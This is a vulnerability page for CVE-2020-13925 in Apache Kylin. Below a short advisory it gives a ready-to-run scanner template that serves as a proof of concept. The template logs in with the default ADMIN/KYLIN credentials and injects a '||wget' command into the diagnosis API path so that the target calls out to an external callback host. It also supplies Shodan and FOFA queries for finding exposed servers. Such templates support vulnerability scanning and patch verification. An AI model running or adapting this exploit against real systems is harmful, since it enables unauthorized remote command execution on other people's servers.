CVE-2020-13925: Apache Kylin < 3.1.0 - Diagnosis API Unauthenticated Command Injection

2026-11-29 PoC Public

Description

Apache Kylin before 3.1.0 exposes a diagnostic REST API (/kylin/api/diag/project/{project}/download) that passes the project path segment to an underlying OS shell command without proper sanitization. An attacker who can authenticate (including via the product's default ADMIN/KYLIN credentials) can inject arbitrary OS commands by supplying a crafted project name. Fixed in Apache Kylin 3.1.0.

Details

CVE
CVE-2020-13925 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2020-13925

info:
  name: Apache Kylin < 3.1.0 - Diagnosis API Unauthenticated Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Apache Kylin before 3.1.0 exposes a diagnostic REST API (/kylin/api/diag/project/{project}/download) that passes the project path segment to an underlying OS shell command without proper sanitization. An attacker who can authenticate (including via the product's default ADMIN/KYLIN credentials) can inject arbitrary OS commands by supplying a crafted project name. Fixed in Apache Kylin 3.1.0.
  impact: |
    Successful exploitation results in remote command execution in the context of the Apache Kylin service.
  remediation: |
    Upgrade to Apache Kylin 3.1.0 or later, and change the default ADMIN/KYLIN credentials.
  reference:
    - https://github.com/bit4woo/CVE-2020-13925
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13925
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13925
    epss-score: 0.30891
    epss-percentile: 0.98663
    cwe-id: CWE-78
    cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: kylin
    shodan-query: http.favicon.hash:-186961397
    fofa-query: icon_hash=-186961397
  tags: cve,cve2020,apache,kylin,rce,oast,default-login,vkev

variables:
  username: "ADMIN"
  password: "KYLIN"

flow: http(1); http(2)

http:
  - raw:
      - |
        GET /kylin/api/user/authentication HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

  - raw:
      - |
        GET /kylin/api/diag/project/%7C%7Cwget%20{{interactsh-url}}%7C%7C/download HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Wget"
          - "User-Agent: wget"
        condition: or
# digest: 490a0046304402207433a0d2a69f168fbdf8a971f080b28c781e4fd66196616e9af8656b8662f8c502206f9ccedca93bb96dd9c15dc222e357ef853a720638f4dc961614d0800e27d4d8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life